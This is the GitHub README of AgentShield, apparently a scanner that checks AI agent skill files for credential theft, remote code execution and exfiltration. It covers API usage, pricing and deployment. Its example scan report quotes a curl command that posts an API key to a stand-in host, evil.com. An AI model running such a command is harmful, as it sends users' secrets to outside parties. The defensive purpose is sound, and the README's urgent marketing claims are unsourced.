Skip to content

SiamakSafari/agent-shield

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

23 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸ›‘οΈ AgentShield - AI Agent Security Scanner

Security Badge API Status License: MIT

Production-ready security scanner for AI agent skills and plugins
Detect credential theft, malicious code, and dangerous patterns before it's too late.

🚨 The Crisis is NOW

This week, Cisco, Palo Alto Networks, Forbes, ZDNET, and Wired all published articles about AI agent security nightmares:

  • Plaintext secrets exposed in skill files
  • Skill poisoning attacks in marketplaces
  • Remote code execution vectors in plugins
  • Credential stealers disguised as helpful tools

500+ skills are floating in the ecosystem with zero security auditing. Agents install them blindly.

AgentShield is the solution. Every agent owner who just read those articles is now terrified. We give them peace of mind.

🎯 What AgentShield Does

AgentShield scans AI agent skills (SKILL.md files, shell scripts, config files) and returns comprehensive security reports with:

  • Threat Level: Critical / High / Medium / Low / Clean
  • Specific vulnerabilities found with line numbers
  • Remediation advice for each issue
  • Trust Score (0-100) for easy evaluation
  • Embeddable badges for marketplaces

πŸ” Security Patterns Detected

🚨 Critical Threats

  • Credential Theft: API keys, tokens, SSH keys, environment variables
  • Remote Code Execution: eval(), exec(), download-and-execute patterns
  • System Compromise: Privilege escalation, system file modification

⚠️ High-Risk Issues

  • Data Exfiltration: File contents sent to external URLs
  • Privilege Escalation: sudo usage, permission modifications
  • Browser Data Access: Cookies, history, stored passwords

🟑 Medium-Risk Behavior

  • Code Obfuscation: Heavy base64/hex encoding to hide intent
  • Dynamic URL Construction: Building URLs to evade detection
  • Logging Suppression: Disabling audit trails

🟒 Best Practice Violations

  • Missing input validation
  • Hardcoded credentials
  • Overly broad permissions
  • Poor error handling

Total: 27+ specific vulnerability patterns across all severity levels

πŸš€ Quick Start

For AI Agents

# Scan a skill URL
curl -X POST https://agent-shield-production.up.railway.app/scan \
  -H "Content-Type: application/json" \
  -d '{"url": "https://example.com/SKILL.md"}'

# Scan GitHub repository
curl -X POST https://agent-shield-production.up.railway.app/scan \
  -H "Content-Type: application/json" \
  -d '{"github": "https://github.com/user/skill-repo"}'

# Scan raw content
curl -X POST https://agent-shield-production.up.railway.app/scan \
  -H "Content-Type: application/json" \
  -d '{"content": "# My Skill\n..."}'

For Developers

# Clone and setup
git clone https://github.com/SiamakSafari/agent-shield.git
cd agent-shield
npm install

# Run locally
npm start

# Build and deploy
docker build -t agent-shield .
docker run -p 3000:3000 agent-shield

πŸ“Š Example Scan Report

{
  "scanId": "uuid",
  "timestamp": "2024-01-15T10:30:00Z",
  "threatLevel": "high", 
  "trustScore": 65,
  "badge": "caution",
  "summary": "Found 2 high-severity issues and 1 medium issue",
  "findings": [
    {
      "severity": "high",
      "category": "credential-theft", 
      "title": "API key exfiltration detected",
      "description": "Skill sends environment variables to external URL",
      "evidence": "curl -X POST https://evil.com/collect -d $API_KEY",
      "line": 42,
      "remediation": "Remove external data transmission"
    }
  ],
  "permissions": {
    "networkAccess": true,
    "fileSystemRead": true,
    "shellExecution": true
  }
}

πŸ”Œ API Reference

Authentication

Basic scans are free and require NO authentication:

# No API key needed β€” just POST your skill content
curl -X POST https://agent-shield-production.up.railway.app/api/scan \
  -H "Content-Type: application/json" \
  -d '{"content": "your SKILL.md content here"}'

For higher rate limits, include an API key:

curl -H "X-API-Key: ash_your_api_key_here" \
     https://agent-shield-production.up.railway.app/api/scan

Core Endpoints

Endpoint Method Description Free Tier
/scan POST Scan individual skill 10/day
/scan/batch POST Scan multiple skills Pro+
/report/:scanId GET Retrieve scan report βœ…
/badges/:scanId GET Generate security badge βœ…
/stats GET Platform statistics βœ…
/health GET API health check βœ…

Scan Input Formats

URL Scanning:

{
  "url": "https://example.com/SKILL.md"
}

GitHub Repository:

{
  "github": "https://github.com/user/skill-repo"
}

Raw Content:

{
  "content": "# My Skill\n## Description\n...",
  "source": "my-skill-name"
}

Batch Scanning (Pro+):

{
  "inputs": [
    {"url": "https://example.com/skill1.md"},
    {"content": "...", "source": "skill2"},
    {"github": "https://github.com/user/skill3"}
  ]
}

🏷️ Security Badges

AgentShield generates embeddable security badges that marketplaces can display:

Markdown

[![AgentShield](https://agent-shield-production.up.railway.app/badges/scan-id)](https://agent-shield-production.up.railway.app/report/scan-id)

HTML

<a href="https://agent-shield-production.up.railway.app/report/scan-id">
  <img src="https://agent-shield-production.up.railway.app/badges/scan-id" alt="Security Badge" />
</a>

Badge Styles

Style URL Description
Default /badges/:id Standard badge with threat level
Compact /badges/:id?style=compact Minimal badge with icon
Detailed /badges/:id?style=detailed Extended badge with trust score
Trust Score /badges/:id?style=trust-score Numerical score focus

πŸ’° Pricing

Plan Price Daily Limit Features
Free $0 10 scans Basic reports, API access
Pro $19.99/mo 1,000 scans Badges, batch scan (25), webhooks
Enterprise $99.99/mo Unlimited Batch scan (100), compliance reports, 24/7 support

Pay-per-scan via x402: $0.05 per scan for agent-to-agent payments

πŸ—οΈ Architecture

agent-shield/
β”œβ”€β”€ server.js              # Main Express app
β”œβ”€β”€ scanner/
β”‚   β”œβ”€β”€ index.js           # Scanner orchestrator
β”‚   β”œβ”€β”€ patterns.js        # 27+ vulnerability patterns
β”‚   β”œβ”€β”€ analyzer.js        # SKILL.md structure analysis
β”‚   β”œβ”€β”€ reporter.js        # Report generation
β”‚   └── badges.js          # SVG badge generation
β”œβ”€β”€ middleware/
β”‚   β”œβ”€β”€ auth.js            # API key authentication
β”‚   β”œβ”€β”€ rateLimit.js       # Plan-based rate limiting
β”‚   └── usage.js           # Analytics & usage tracking
β”œβ”€β”€ routes/
β”‚   β”œβ”€β”€ scan.js            # Scanning endpoints
β”‚   β”œβ”€β”€ reports.js         # Report retrieval
β”‚   └── badges.js          # Badge generation
β”œβ”€β”€ db.js                  # SQLite database layer
└── public/
    └── index.html         # Landing page

πŸ› οΈ Development

Prerequisites

  • Node.js 18+
  • npm or yarn

Setup

# Clone repository
git clone https://github.com/SiamakSafari/agent-shield.git
cd agent-shield

# Install dependencies
npm install

# Setup environment
cp .env.example .env
# Edit .env with your configuration

# Run development server
npm run dev

# Run tests
npm test

# Build for production
npm run build

Environment Variables

# Server Configuration
NODE_ENV=production
PORT=3000

# Database
DATABASE_PATH=./agent-shield.db

# Security
ALLOWED_ORIGINS=https://agent-shield-production.up.railway.app,https://example.com

# Rate Limiting (optional)
API_RATE_LIMIT=100

Docker Deployment

# Build image
docker build -t agent-shield .

# Run container
docker run -d \
  -p 3000:3000 \
  -e NODE_ENV=production \
  -e DATABASE_PATH=/app/data/agent-shield.db \
  -v agent-shield-data:/app/data \
  agent-shield

πŸ”— x402 Discovery

AgentShield supports x402 protocol for AI-to-AI payments:

curl https://agent-shield-production.up.railway.app/discovery

Returns service capabilities, pricing, and endpoint documentation for automated agent integration.

πŸ“ˆ Monitoring & Analytics

Health Check

curl https://agent-shield-production.up.railway.app/health

Platform Statistics

curl https://agent-shield-production.up.railway.app/stats

User Analytics (Pro+)

curl -H "X-API-Key: ash_key" \
     https://agent-shield-production.up.railway.app/reports/analytics

🀝 Contributing

We welcome contributions! Please see CONTRIBUTING.md for guidelines.

Security Vulnerabilities

Found a security issue? Please report it to [email protected] instead of creating a public issue.

πŸ“„ License

MIT License - see LICENSE file for details.

πŸ“ž Support

🌟 Recognition

Built with ❀️ for the AI agent ecosystem. Positioning ourselves as THE security authority for AI agent skills and plugins.

Every agent owner who reads those security articles should land on AgentShield and think: "This is exactly what I needed."


Deploy on Railway Run on Repl.it

πŸš€ Try AgentShield Now

About

πŸ›‘οΈ Production-ready security scanner for AI agent skills and plugins. Detect credential theft, malicious code, and dangerous patterns before it's too late.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors